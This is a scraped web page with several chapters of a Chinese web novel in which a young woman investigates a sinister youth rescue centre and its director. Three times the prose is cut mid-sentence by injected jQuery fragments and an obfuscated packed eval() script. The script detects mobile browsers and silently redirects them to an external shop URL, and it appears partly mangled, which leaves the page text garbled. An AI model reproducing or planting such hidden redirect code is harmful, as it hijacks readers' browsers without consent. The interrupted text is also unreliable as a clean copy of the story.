$(''.inform'').remove(); $(''#content'').append('' 做牛马。 简初仿佛进了瓜田的猹，在里面大开眼界。 而关于异种的信息就要少得多，最早的报道是在三年前，不知道是信息被管控了，还是异种确实比较罕见，再加上有专门的人员处理，人们对此并不太热情。 星际联邦漫长的历史里，出现的奇怪东西太多了，宇宙中的威胁要比异种离奇得多，也可怕得多。 直到眼睛酸胀，简初才有些恋恋不舍地揉揉眼睛，一看已经到半夜，便打算休息了，但正当此刻，终端上突然跳出一则日程提醒。 [今日行程：前往少年救助中心。] “噔噔噔！” 系统的音乐声紧随其后。 “这是孤单的灵魂成长的地方，你曾经在这里收到了诸多照顾，因此成为了如今的你。你对此心怀感恩，每年都会回来拜访，以求得内心的平静，但不知为何，现在你却从中感受到了一丝不详的违和。” “触发任务：调查南芒区少年救助中心的秘密。” “重要说明：本任务为前置任务，满足条件可触发后续任务，任务失败将进行随机惩罚。” 简初：“……” 不，她没有感受到丝毫的违和，她只是一个有感恩之心的小女孩。 果然老师的话没错，年纪大了，熬夜会发生不好的事情。 …… 第二天中午，简初睁着困顿的双眼，背着包下了楼，前台的小姑娘看她不打算续房，不禁松了一口气，仿佛送走了什么瘟神。 瘟神打了个哈欠，她预约的小车已经在不远处等着了，车上并没有司机，看起来是无人驾驶。 昨夜浏览了不少信息，简初对这里复杂的交通情况已经有了心理准备，她半睁着眼，看见不远处的天空中，有两辆造型别致的车惊险地交错而过，懒懒地又打了个哈欠。 南芒区少年救助中心，也就是简初从十二岁开始一直生活到成年的地方，按照联邦规定十六岁成年，而她因为被军校录取，因此直接无缝对接。 联邦军校的假期是很少的，大部分学生都会选择继续学习，而她每年都会回来拜访，可见确实在这里过得很不错。 小车驾驶速度几乎保持在二百以上，简初刚下车站稳，身后的车门就砰得关上，卷起一阵风，搅乱她的头发糊了一脸。 简初默默重新扎上脑后的小揪揪，背着包走向了不远处的救助中心。 金灿灿的门牌大字在阳光下闪闪发光，绝佳的地理位置，周边非常安静，铁制的栅栏大门正紧紧关着，里面也看不见人影。 “谁啊！”一旁的小房子里钻出来一个人，胡子拉碴，不过一身衣服穿的倒是板正，简初瞥了眼他胸前的铭牌，上面写着有些模糊的“徐志刚”三个字，看起来有些年头了。 来人瞧见简初，愣了愣，又露出笑容：“小简来啦，快进来，我跟小徐打个电话。” 简初端着微笑，看他忙着打电话，跟那头叽里咕噜说了一串，大意是简初来了，让她直接进去了。 也不知道这算哪门子“直接进去”，但这两人语气亲昵，还是同一个姓，关系绝对不同寻常。 “进去吧，你徐姨在办公室等你，好久没见可想你了，本来昨天还说你不来了呢……” 他笑了笑，摆摆手送她进去了。 简初朝他道别，顺着门口的鹅卵石小路一直往里走，直到接近了前方的大楼，才听见人声，她逆着阳光抬起头，看见窗户后面有人好奇地往外看。 楼里冷气十足，简初适应了两秒，根据一楼的标志前往最上层的总负责人办公室，办公室门口挂着门牌，上面写着两行字。 “中心总负责人，徐灿华。” 8. 灯下黑（8） 她刚刚在门口站定，就有人从里面打开了办公室的门。 一个看起来非常有亲和力的女士，约莫四十岁左右，一见到简初眼里就绽开笑意，伸出手将她搂在了怀里。 简初哪想到会是这个阵仗，不过为了不引起怀疑，她还是没有挣扎，反手拍了拍对方的后背，露出一个微笑。 “徐姨，我回来了。” 简初坐在沙发上，打量着四周的陈设。 办公室空间不大，但布置得很温馨，待客沙发一侧的橱柜里摆满了手工和一些奖杯奖状，可惜落了点灰，不过里面东西错落有致，打扫起来颇有难度，也能够理解，毕竟简初以前家里的柜子八百年开不了一次，里面也落了不少灰。 办公位后面的柜子都是实木的，看不见里面的东西，桌上很干净，除了办公用具之外，只有一台电脑，一个相框。 “在外面还是要多交交朋友，学习压力别太大。”徐灿华将杯子搁在简初面前，带着笑容嗔怪道。 简初收回打量屋子的视线，乖巧地坐在沙发上，听着对面人絮絮叨叨，时不时点头应和着。 “虽然我也帮不上什么忙，但是有困难一定要跟说啊。”温柔的手拍了拍她的脑袋，“你徐姨好歹也这么大岁数，多少能帮你想想办法。” “好。” 紧接着，徐灿华沉默了两秒，才又开口：“肚子饿不饿，我带你去食堂吃饭，这两天就在这好好休息，有空跟大家聊聊，有几个孩子明年就成年了，也该提前做做功课了。” 她站起身，走到办公桌后，带着笑意拿起桌上的相框转向简初：“你看你以前，现在也长这么大，能独当一面了。” 简初看过去，有些反光的照片里赫然是徐灿华跟自己的合影，里头的她跟现在看起来几乎没什么变化，只是看起来有些许青涩懵懂。 她们的关系居然好到这种地步，能让对方一直在桌面上放着两人的照片，这让简初有些意外。 但这也代表着对方很了解她的过往，她可以顺便套点信息了。 …… 救助中心的占地面积不算大，中间有两栋小洋楼，用一条连廊连接了起来，外立面看起来有些年头，但约莫是因为常常翻新，倒也不破旧，反而多了几分复古的美感。 洋楼前后都是比较开阔的草地和花园，花草树木都长得很茂盛，走在其中能感受到异常的阴凉。 这里的工作人员不多，但从楼里贴的须知和人员明细来看，都是些无家可归、或者身有残疾的中老年人，他们都住在中心，照顾着年幼的孩子们。 工作人员们看起来都很满意这里的生活，他们行动就可以感受到闲适自如，而年纪不大的孩子看起来更是无忧无虑，只有年长些的孩子面容上会常常出现沉思的表情，但比之更多的，是跃跃欲试。 因为等到成年，他们就会正式离开这里，追寻外面五光十色的风景，他们对此充满了热情。 简初正站在三楼的办公室前，透过走廊里的窗子看向外面，她身后的徐灿华锁上了房门，回过身来喊她。 “小简，走吧，我带你去吃饭。”她晃了晃手里的钥匙，“经费不足，只能用这个来防止一些捣蛋鬼进来搞破坏了。” 跟简初想象中不同的是，这里的人行动非常自由，没有什么统一的日程安排，一楼的墙面上贴有每周的安排，上面写着今天在某间教室有手工课，另一间教室有厨艺培训，食堂每日三餐定时供应，晚上十点到早上六点关灯休息。 这些规则更多是用来参考，而不是约束。 简初面上不动声色，心底已经酸得冒泡泡。 “现在有点晚，有些菜可能已经没了，你将就吃，明天我请厨师做你最喜欢的炖鸡。”女人笑呵呵地朝她说道。 简初并不挑食，以前在医院紧张的时间安排让她习惯了有啥吃啥，不过她还是点点头，对此表示感谢。 “有没有一点怀念？” 徐灿华注意到简初四处看的眼神，露出一个有些复杂的笑容，手在胸口比划了两下，“我还记得你刚到这里来的时候，瘦瘦小小的，身上还有伤口，见到人就躲，后来跟我熟了，做什么都必须要我来。” “你那时候已经十来岁了，但是跟那些几岁的小孩子没什么两样，以前吃了太多苦，没有人教你是非对错……啊，我是不是有点唠叨，你每次回来看我都要说这些。” 徐灿华摇了摇头，看上去十分懊恼。 简初倒是没想到自己的出身这么凄惨，不过这些正是她想知道的：“没有，您说我都爱听。” “你这孩子，每次都说这些好话来哄我。”嘴上这么说，女人脸上却露出了舒心的笑容。 “你在这坐，最近有些新菜，我去弄给你尝尝。” 简初坐在位置上，看着女人乐呵呵地走向流水台。 下一秒，她收起笑容，转过了头。 隔了几桌，有一个女孩子正一个人吃饭，小姑娘穿着中心统一的制服，白色底蓝色装饰，露出的手肘有些瘦，但眼神很有力，能看出骨子里透着个倔。 不知道是不是异能的缘故，自打来到这个世界，简初的第六感就变得十分敏锐，从她们走进食堂开始，对方打量的视线就若有似无地飘过来。 见简初看过来，她连忙低下头，吭哧吭哧往嘴里刨饭。 “看什么呢？” 徐灿华端着盘子走过来，上面的饭菜堆得尖尖的，几乎快要倒下来，她的身影从面前经过，等简初拿起筷子再去看，那个女孩已经端着盘子走了。 “徐姨，你这也盛得太多了。”简初不着痕迹地转开了话题，捏着筷子表情为难，不知道该怎么下手。 “不多不多，都尝尝，看看喜欢哪个，爱吃我再去给你盛。”徐灿华笑眯眯地坐在对面，一脸慈祥地看着她吃饭。 “我见过最能吃的孩子就是你了，而且每次吃饭看起来都很幸福，让人忍不住要多吃一碗。” 简初：“……”谢谢夸奖？ 却未曾想，对面的人脸上露出伤感之色。 “能吃是福，你还记不记得第一次在这儿吃饭，没吃多少就被送去了医院，医生说你长期吃不饱饭，一下子吃了太多，身体受不了。”徐灿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|11761114|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 华眼角弯了弯，“回来之后，只能给你一点点加量，所以你每次都先盯着其他孩子的饭碗，又来瞧我，可怜巴巴的，呵呵。” 简初没有打扰对方追念往昔，这不是属于她的过往，无法感同身受，只能选择做一个合格的听众。 食堂的饭菜不出所料的美味，两人从食堂出来又散了会步，直到简初差不多消完食，徐灿华这才提出分别。 她毕竟是救助中心的总负责人，内部许多事务都要她把关，更不用说对外的协调工作，平时还是挺忙的。简初也从对方嘴里了解到不少事，正需要好好整理消化一下，于是两人就此分开，一人回到办公室，一人去往临时安排的房间。 简初住的房间就在第一栋楼，这边住的都是工作人员，另一栋则都是孩子们。 她回到房间，打开终端，开始根据徐灿华的只言片语，来梳理自己的过往经历。 亲生父母不详，幼年从福利院被人领养，不过养父母家庭条件不好，领养孩子更多是家里需要一个劳动力，但好歹还有她一口饭吃。 可好景不长，没过几年，她的养父开始沉迷赌博，欠债越来越多，逐渐变成了一个天文数字，被债主找上门来。反反复复几次之后，在某一天杀害妻子后自杀，而简初因为出门捡垃圾而逃过一劫。 原本债主试图让简初负担这笔债务，但被联邦判决，双方不存在血缘关系，且养父母未尽到抚养义务，因此驳回了债主的诉求。 于是在不足十三岁的时候，她选择改回原名，被送到了救助中心，由徐灿华教导长大。 由此也能看出来，虽然这个世界的科技高度发达，但底层人似乎并没有享受到其中的好处，幼儿还是会被抛弃，还是会有人沉迷低级趣味，还有人要靠捡垃圾讨生活。 如果说前十二年的生活是一出悲剧，那自打进入救助中心之后，她就仿佛来到了另一个世界。 在这里她吃饱穿暖，有机会读书学习，被人细心呵护，甚至还被发现精神力潜能而破格录取了联邦军校。 这也太戏剧化了，如果没有那个神秘组织的存在威胁着她，那这简直是咸鱼翻身的经典案例。 这足以让徐灿华深刻记住她，甚至可能会跟以后的孩子们说，看，那个姐姐以前如何如何，现在如何如何，你们要以她为榜样，如何如何。 成年人不可避免会喜欢乖巧有出息的孩子，也许这就是她一直保留合影的原因。 正当她在思索着，耳畔突然听到轻轻的脚步声，紧接着是一点细微的动静，类似纸张摩擦的声音，她循着声音看向房门，却看到门缝下面被塞进一张薄薄的小纸条。 简初走了过去捡起了纸条，却没有开门，小触手贴着门缝钻了出去，可惜在它的行动范围内并没有发现什么可疑的人。 她垂头看向手里折叠了一下的纸条，举起来对着头顶的灯光看了一眼，里面好像写了什么。 简初将它展开，看到了上面歪歪扭扭地写了三个字—— 你是谁。 一瞬间，巨大的阴冷爬上了简初的后背。 她被发现了？ 9. 灯下黑（9） 太阳落山的余晖映射在扶手上，反射出一个巨大的光晕，将周围的一切映衬得如梦似幻。 简初趴在顶楼天台的栏杆上，因为中午吃的太多，所以她晚上并没有去食堂。那张来路不明的纸条给她带来了强烈的危机感，至此她才对系统的话有了一点实感。 这家救助中心给她的感觉太过平和、太过美好，以至于在不知不觉中消磨了她的警惕。 这很不对劲。 她没几天就要开学，也就是说排除最后一天返校，算上今天她最多只剩下三天的时间。 因此，简初索性带着小触手，在整个救助中心里逛了一下午，大概摸清了里面的排布，以防万一。 既然神秘人给她递了纸条，就一定是想要从她这里得到什么，只要简初按兵不动，对方一定还会来找她。 正当她如此思考着，突然，有两个人走进了她的视线。 一个是徐灿华，另一个是今天中午在食堂见到的那个女孩，她们俩一前一后，从洋楼出来，走进花园的小亭子，消失在绿叶掩映中。 她们要做什么？ 简初眯了眯眼，面无表情地挪开了视线。 …… 此时的花园亭中，两人一左一右坐着，晚风吹散些许燥热，徐灿华抢先开了口。 “小枫，你有事一定要跟我说，别闷在心里，你现在的状态很不好。”她的语气饱含担忧，而在她的对面，女孩垂着脑袋不作声。 “人和人之间是需要交流的，你这样一直封闭自己，我怎么知道你在想什么，又怎么来帮你呢？”女人依旧很温和，“我知道你不喜欢办公室的环境，所以这次特地换了个地方聊天，你感觉怎么样？” 女孩匆忙抬头看了她一眼，又迅速低下了头，但依旧不说话。 “唉，你明年就要成年了，像现在这样，我怎么放心你出去。许阿姨告诉我，你跟其他的孩子还是不交流，我知道你岁数大些，有自己的想法，但是一直封闭自己是不行的。” 徐灿华絮絮叨叨，奈何女孩就是没有反应，少女垂下的脸庞闪过挣扎，又下定了决心般紧紧闭着嘴。 “今天跟我一起的那个姐姐你也看到了吧，她以前过得很苦的，但是她有一颗乐观积极的心，我也用心帮助她，”女人声音放低，像哄孩子一样跟女孩说话，“她现在念了好学校，以后会有一份好工作，一直好好地生活下去。” “你不想出去之后过上好日子吗？从现在开始还来得及，我会帮助你的，这里的每一个人都会帮你。” 晚风吹得树叶沙沙轻响，衬得女人劝说的声音分外柔和。 女孩嘴唇终于颤抖了两下，她嗫嚅着似乎想要说什么，徐灿华鼓励地看着她，却不曾想，她仅仅是再次抬头看了她一眼，又抿嘴低下头，不作声了。 “时枫。” 徐灿华的声音终于变了，但她并没有生气，“唉，你自己再好好想想吧，有什么……随时可以来找我，天黑了，回去吧。” 说完这句话，女人离开了，留下时枫一人枯坐在亭子里，她伸手揉了揉自己的眼睛，又扭头看向徐灿华离去的背影，直到她完全消失在眼前。 夜幕终于降临，沉重地笼罩在每一个人的头顶。 时枫留在原地沉默地坐了一会，正准备起身离开，却突然听到有脚步声接近，来人踩在草丛发出沙沙的响声，让她有些紧张起来。 “徐姨……” 未见其人先闻其声，下一秒，一个年轻人出现在她面前，时枫表情凛了凛，这是今天在食堂见到的，和徐灿华一起来吃饭的女孩子。 不过几秒，简初已经走到亭子跟前，她一脸疑惑：“咦，徐姨呢，怎么只剩下你一个人了？” 她当然知道徐灿华已经走了，毕竟看见这两人去小树林说悄悄话之后，她就一直在天台盯着，吹了不少夜风。 她的目的就是为了来套套对方的话。 这个女孩身上的倔劲放在这里太过与众不同了，其他人都是软绵绵的棉花，只有她像个不锈钢的铁坨坨，说不定是个突破点。 果不其然，简初在女孩脸上看到了戒备，紧接着松了一口气，随后又是戒备。 好家伙，搁这四川变脸呢。 所以她起初是把自己当成了谁，徐灿华吗？ 简初不着痕迹的皱了皱眉，随即一脸和气地开口：“是你啊，我们今天见过，在食堂，你有印象吗？” 不说还好，此话一出，女孩却又往后退了一步。 两人沉默着对视了几秒，简初无奈地耸耸肩：“好吧，那你知道徐姨去哪儿了吗？” 回答她的除了夜晚的风声，就只有草丛里的虫鸣。 简初好像突然明白为什么徐灿华要喊这孩子过来说小话了，叛逆期的小孩，惹不起她还躲不起吗。 “行吧，我先走了，你请便。” 简初转过身就打算离开，就在此刻，身后却传来女孩的声音。 甜甜的，却带着沙哑干涩，似乎是好久没有开口说过话了。 “等等，你……” 简初闻言转过身，歪了歪脑袋，等她继续说下去。 只见女孩深深吸一口气，仿佛给自己打了打气：“我叫时枫，你……是谁？” 简初瞳孔缩了缩，这是她今天第二次碰到这三个字。 小触手躁动地探出，绕过简初的肩膀高高竖起，好像一只警惕的狐獴。 “我是简初，徐姨没有跟你提过吗？”简初面上不动声色，试探着对方，“我以前也是在这里长大的。” 时枫的表情有点怪异，似乎并没有听到她想要的答案，但又不知道如果继续开口。 简初眯了眯眼，她其实不太相信这小小的救助中心会有人知道她穿越的秘密，除非这个问题所对应的答案并不是自己所想的那样。 简初想起了系统的任务，如果是这样，那就合理了。 所以时枫到底知道些什么，又是根据什么问出这个问题？ 下一秒，她瞧见面前刚刚还平静的女孩突然脸色大变，仿佛看见了什么可怕的东西，紧接着匆忙往后退了两步，未曾想被身后的长椅绊倒，一屁股坐在了地上。 简初正准备走上前，看到这一幕却不禁停下了脚步，陷入自我怀疑。 她这样，真的会知道什么秘辛吗？ “你怎么了？”简初面上疑惑，谨慎开口。 谁知道这次，时枫的脸上露出了古怪的表情，简初敏锐地感觉到她的眼神从自己脑袋上反复滑过，似乎在确定什么。 “我头上有什么东西？”简初冷不丁开口。 “没有！”时枫下意识否认，这也许是她来到这里之后嗓门最大的一次。 简初抱胸勾唇冷笑一声，一脸“我看你继续编”的表情看着对方。 “下午也是你？” 刚刚露出破绽的时枫已经放弃，闻言肩膀一垮，又陷入了自闭。 简初现在已经确定，时枫的问题并不是指向自己的穿越，不过这也提醒了她。 这个世界的异能五花八门，指不定真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|11761115|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的会有人能够看出来她的异常，但如果这个世界没有已知的穿越者，那没有人能确定她的异常来自何处。 她完全可以编造一个借口，来转移视线。 但时枫又是根据什么问出这样的问题？ 简初看出女孩此刻正天人交战，不过她并没有太多耐心等对方考虑完毕，她想了想开口道：“那我换个问法，我跟他们有什么不同？” 这次，她满意地看到了时枫脸上露出宛如见了鬼的表情，紧接着眼里透出光芒，仿佛变了一个人。 “你和他们，不一样。” 简初挑眉侧头，意思请她继续说。 “我可以相信你嘛？”时枫嗫嚅出声，简初没有回答，因为她看出来，对方这句话并不是问她，而是在问自己。 “我可以相信你。” 这次是陈述句。 时枫终于下定了决心，坚定目光看了过来：“这家救助中心，没有一个好人。” 简初挑挑眉，“没有好人”这种听上去颇有些幼稚的形容，实在很难让人信服。 “你这话说的，你有证据吗？” “我……我有，我的异能。”时枫咽了咽口水，紧盯着简初的头顶，看得小触手都忍不住伸过去摸了摸。 嗯，啥都没有。 这一次，时枫没有等简初再问，非常自觉地接着说了下去。 “我的异能，每天攻击可以使用三分钟，能够看到周围两米以内的人，对我的……喜恶，白色是中立，这一般是陌生人的颜色，绿色是善意，红色是防范，而黑色是……”时枫艰难开口，“黑色是恶意。” 她急促地深吸了两口气，再次开口：“这里所有人都是黑色或者灰色的，只有你是白的。” 说到这里，她有些期待地看向简初，似乎是希望她做出什么反应。 简初回想起对方此前的一系列反应，看来是自己的颜色从白色变成了红色甚至是黑色，之后由于自己明白对方并不知道自己的秘密，因此又变成了其他颜色。 “唔，虽然你这么说，可我怎么知道你没骗我呢？” 简初摸摸下巴，露出思考的模样，进行一个套话的大动作，“再退一步说，就算你说的是实话，但我怎么知道不是因为你做了什么，让大家都厌恶你呢？” 时枫愣住了，她从来没有想过会有这样的可能性，她结结巴巴开口，却不知道怎么解释：“不，不是的……” “嗯？那你有别的证据吗？” “我……”时枫面露为难，看起来正在努力思考。 “嗯？”简初向她投去期待的目光，“比如，他们是什么时候开始变成黑色的呢？” 时枫豁然抬头，看了过来。 “徐姨……徐灿华从一开始就是黑色的，其他人，比我先来的都是灰色，而在我之后来的，从白色变成了灰色。” 简初点点头，却发现女孩不再继续，而是将期待的目光再次投向了自己。 怎么，你指望我来给你解释解释？ 小姑娘似乎也发现自己这样不合适，有些尴尬地挠了挠脑袋。 “除了这些以外，你有什么证据吗？我是说，不依赖你的异能的话。”简初耐心补充。 “徐灿华说，只要听她的，以后就能过上好日子，”这种一听上去就像骗小孩的话从时枫嘴里吐出来，带着几分好笑，“就像你一样。” “但是，我在这里待了大半年，只见过你一个人，我是说，以前从救助中心离开的人里，除了你之外，没人回来过。” 10. 灯下黑（10） 从踏进救治中心那一刻开始的记忆纷至沓来，宛如一部粗剪的影片，带着雪花点在简初眼前迅速飞过。 看来事情跟她原本想的出入有点大啊。 “大家都相信她，但是……”时枫偷偷觑了眼简初的头顶，“我觉得不对劲，我不相信真有人会完全不求回报，一心对别人好……” 简初没有错过她的眼神，小孩子想耍心机，但显然手法不太成熟。 她露出一个和气的微笑：“既然你这么想，那如果我帮你的话，你要用什么来交换呢？” “毕竟没有人会无缘无故帮助别人啊，小妹妹。” 简初每说一个字，时枫的脸色就白一分。 “我随时都可以找个借口离开这个地方，甚至可以永远也不回来，你觉得你，啊不，你觉得徐灿华，她就算在做什么坏事，能威胁到我吗？” “说点有用的，你只剩下最后一次机会。” 时枫沉默了快一分钟，才重新开口。 “我到这里不过大半年，像我这种快要成年的孩子，一般的救助中心都不太愿意接收，因为觉得想法太多，容易变成刺头，但徐……灿华没有这么想，她毫不犹豫地接纳了我。” “我从来没有被人这么坚定地选择过，比起其他人，她在我身上花了更多的精力，我起初真的很喜欢她，直到第二天我异能刷新。” 时枫发出一声讽刺的冷笑，里头裹藏着淡淡的、不易被察觉的哽咽。 “你知道我第二天见到她，下意识用了异能，然后看到她头顶的黑色时，我有多绝望吗！我想离开这里，但是没有人同意，因为其他中心都不想接手，而我没成年又必须呆在救助中心！” 她说完，胸口剧烈地起伏，好不容易才又平静下来。 “当时和我一起来的，另一个女孩子，我们因为住在一个房间逐渐熟悉起来，有一天我想试探一下她对这里的看法，意料之中，她觉得这里很好，我没敢告诉她我的异能，但是委婉地提醒了一句。” “后来，有一天她回来得很晚，一进房间就跟我说，她觉得自己的人生有救了，还说徐姨真的会帮她，然后第二天……” 漫长的停顿之后，她终于干涩开口。 “她变成了灰色。” “两个月前她成年了，离开了这里，我们再也没有联系过。” “我怀疑，是徐灿华对她做了什么。” …… 第二天上午。 简初坐在花园长椅里，看周围人来来去去，多了白日的装点，整个救助中心洋溢着蓬勃的生气，只有她看起来闲得不行。 此刻她眼神放空，正在思考昨夜跟时枫的交流。 “心情怎么样？” 徐灿华笑眯眯地坐在她身旁，递给她一颗糖果，“这两天事情有点多，没有什么时间来陪你，不过你也长大了，不再需要徐姨了。” 她这样说着，脸上露出恰到好处的失落，宛如一个被时间抛弃的失意的母亲。 简初看了她两秒，露出安抚的微笑。 “怎么会，多亏了您，我现在才有这样的生活。” 简初余光瞥着她，听见这句话，徐灿华眼睛微微睁大，瞳孔缩了缩，嘴巴微微张开一条缝隙。 “我很感谢您。”她又补了一句，不过徐灿华已经打理好自己的表情，露出欣慰的笑容。 “哎，你们这些孩子过得好就行，也不枉费我的苦心。” “说起来，我们这有个孩子，她……” 女人露出欲言又止的表情，“不太乖，性子孤僻不爱跟人讲话，前段时间带她去医院，医生说，可能是癔症，幻想周围有人要害她。” “昨天晚上跟她住一个屋子的孩子说，她很晚才回来，我怕她出事，也怕她伤害到别人，就暂时把她单独分在了一间屋子，等过两天医生来给她看看。” “你觉得我这么做，是不是不太好啊？” 简初看着女人朝自己露出有些紧张的表情，似乎非常真诚地在寻求自己“关禁闭”这件事的意见。 她朝对方露出一个安抚的笑容：“怎么会呢，徐姨你不要太自责了，这种事大家都不想发生的。” “您已经做的很好了。” 短暂的“聊天”后，简初目送徐灿华走进小洋楼。 对方站在一楼的入口处，回过头似乎是瞧了她一眼。 从刚刚开始，简初就感受到若有似无的视线从四面八方而来，她老神在在，托着腮半睁着眼，倚靠在长椅扶手上，仿佛没有察觉到异样。 尽管早有心理准备，但她还是忍不住有些毛骨悚然。 她必须做好最坏的打算，那就是徐灿华已经知道了她们昨晚的一切，而今天特地跟自己说这些是为了敲打自己，但她想不通，对方是为了什么？ 为了每个人都能抛弃无望的过去，走向灿烂的未来？ 简初又在原地坐了片刻，终于伸了个懒腰，起身拍了拍衣角。 ——“每次她跟我交流完的第二天，我都会被关禁闭，一整天，不许吃饭不许喝水。” ——“就在她办公室下面的那个房间。” 负责人办公室在三楼，侧边的楼梯口正有一个监控，简初走到洋房的最边缘，这边植物长得很茂盛，刚好形成了一个死角，她抬起头，又往后退了两步，不偏不倚看到三楼负责人办公室的门。 她早晨下楼闲逛的时候，借着通风的由头打开了走廊所有的窗户，直到现在也没有人去管。 “你做什么！” 头顶突然传来一声模糊的怒喊，不过它的主人显然不想让别人听见，所以声音被压在咽喉，非常低沉。 “徐姨！您说得对，不听话的孩子是没有出路的，我马上就要成年了，您千万不要放弃我！” 这道声音嗓门大很多，时枫的哭腔饱含真情，十足的叛逆少女幡然醒悟的架势，一时间震住了对方。 “你有什么……好好说！” “我真的知道错了！如果连您都放弃我，我真不知道该怎么办了，我会好好听话的！真的！” 简初：“……”啧，这脚演技。 她一边听着楼下花式滑跪，一边操控着小触手钻进办公室的锁眼里，这边搁楞搁楞，那边捣鼓捣鼓。 开门锁这种精细活，比用刀子戳人费劲多了。 不过好歹，这道门并没有什么高精尖技术的加持，在小触手的努力下，很快就悄无声息地打开了，简初扫了一眼四周，下一秒抬头，消失在原地。 一切顺利，她锁上身后的门，往里面走了两步。 办公室里的陈设和她昨天来时别无二致，桌上的电脑正开着机，上面没有什么摄像头之类的孔眼，而屏幕上正跳动着输入密码的界面。 尽管很想翻翻里面有什么东西，但简初本人并没有掌握这类技术，她只能略过电脑，走进办公桌后头，用触手一个个摸过去，把所有带锁的柜门都撬开了。 ——“除了办公室，我想不到其他地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|11761116|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方，她从来不允许别人随意进她的办公室，这家救助中心唯二的禁地，就是办公室和禁闭室。” 很可惜，一侧的几个柜子找下来，并没有找到什么有用的东西，简初又将一个抽屉摆放回原位，有些头疼地叹了口气。 有用的东西看起来不多，这次总不会一无所获吧。 “哗啦啦——” 耳边突然响起纸张抖动的声音，简初扭过头，就看见小触手正捏着一张纸，兴高采烈地举在她面前，接过一看，上面只是随手画的无意义的图形，和她以前上课无聊时画的差不多。 “这张不是，我要上面写了字的。” 小触手蔫巴巴地垂下，不过两秒，又气势汹汹地去翻另一个抽屉。 “崽，动作轻点，不要弄乱了。” 小触手僵了僵，犹豫了两秒，似乎在观察简初的动作，接着末端蛄蛹了两下，拉长揉圆，搓出了一只手，手指纤长骨节分明，要不是这爪子看着跟简初的手几乎一样，她多少要鼓励几句。 而这只手此刻正翘着兰花指，小心但快速地翻过纸张。 简初：“……” 时间并不充裕，并且随时都可能喊停，简初没跟它计较，而是靠着自己优异的视力和记忆力飞速翻动着材料，看起来很像市面上常见的量子速读的骗术。 她没指望小触手能找出什么东西，不过因为它的行动并没有带来明显的疲惫感，便也由着去了。简初将手上一叠材料小心放回原位，一转头，又对上兰花指捏着一张纸片，抖得哗啦啦作响。 简初抿了抿唇，接过那张纸，兰花指立刻伸了过来，指向了其中一行字。 那是自己的名字。 “简初，优（划掉）？” 这是一张表格，上面只有寥寥几个人的名字，在她看来都十分陌生，不过后面的评价无一例外，都是优。只有简初后面的字被划掉，然后打了个问号，这几笔看起来很新，不像这张纸已经泛黄，看着有些年头了。 所以最近是发生了什么，让她有了这样的行为。 “这是在哪里找到的？” 兰花指轻轻一转，指向了边上的一个抽屉，里面还有薄薄一叠纸，简初毫不犹豫掏空了抽屉。摊开一看，果不其然，每一张纸上都是如此形制的表格，不过只有她手里这张写的是优，后面都写的良。 最后一张很新，雪白雪白的，摸起来柔韧，不像年头长了有点脆脆的手感。 简初迅速翻过，果然在上面找到了时枫昨夜提到的那个女孩。 “李楠，良。” 它们可以是徐灿华对中心的所有孩子的评价，这很合理，但不同寻常的是这些名字太少了，已知简初16岁离开救助中心，至此已经四年，以目前救助中心的规模，怎么可能只有这么些人。 简初凝视着手里的表格，那些没有得到“良”的人去了哪里？ 她心底有一个猜测，但其中还有无法解释的地方。 “崽，再找找有没有跟这个长得很像的纸片。” 小触手兴高采烈地接受指令，又埋头翻起了柜子，楼下的吵闹声变得小了些，但暂时还没有结束的迹象。简初用终端将几张纸上的内容记录下来，将纸张放回原位。 李楠是在两个月前离开救助中心，因此这些表格已经更新到比较新的版本了。 快速浏览过剩下的材料，小触手一无所获，它将柜子重新锁上，失落地挂在简初肩头。 “做得很好，我们走吧。” 11. 灯下黑（11） 时枫跟着徐灿华下楼的时候，简初正从洋房后面的小花园慢悠悠往这边走，看起来很是悠闲。 “徐姨！” 简初看见人，招招手加快了步伐，“您也要去吃饭吗？咦，这是怎么了？” 她自然而然地走上前，隔开了这两人。 “没什么。”徐灿华笑着拍了拍简初搭过来的手，“你来得正好，那边炖鸡刚出锅，我带你们先去偷偷尝两块。” 徐灿华的笑容自然而狡黠，很有感染力，简初也不遑多让，眯眼龇牙笑出标准的八颗齿。 “好啊，我可要趁这个机会多吃两口。” 食不言寝不语在此时被贯彻得很好，小餐厅里只有这三个人，沉默的氛围逐渐弥漫开来。 时枫一脸乖巧地举着勺子，看起来跟之前判若两人。 简初没有分一点注意力给她，心底却感叹脚演技还是有一点技术含量的，不过，她看了眼对面正在挑香菜的徐灿华。 她会不会相信就另说了。 “小简，你待会有事吗？有时间来我办公室聊聊吧。” 女人面容平和，一时间看不出她是抱着怎样的心思说出这句话，一旁的时枫闻言，忍不住有些担忧地抬头看了一眼。 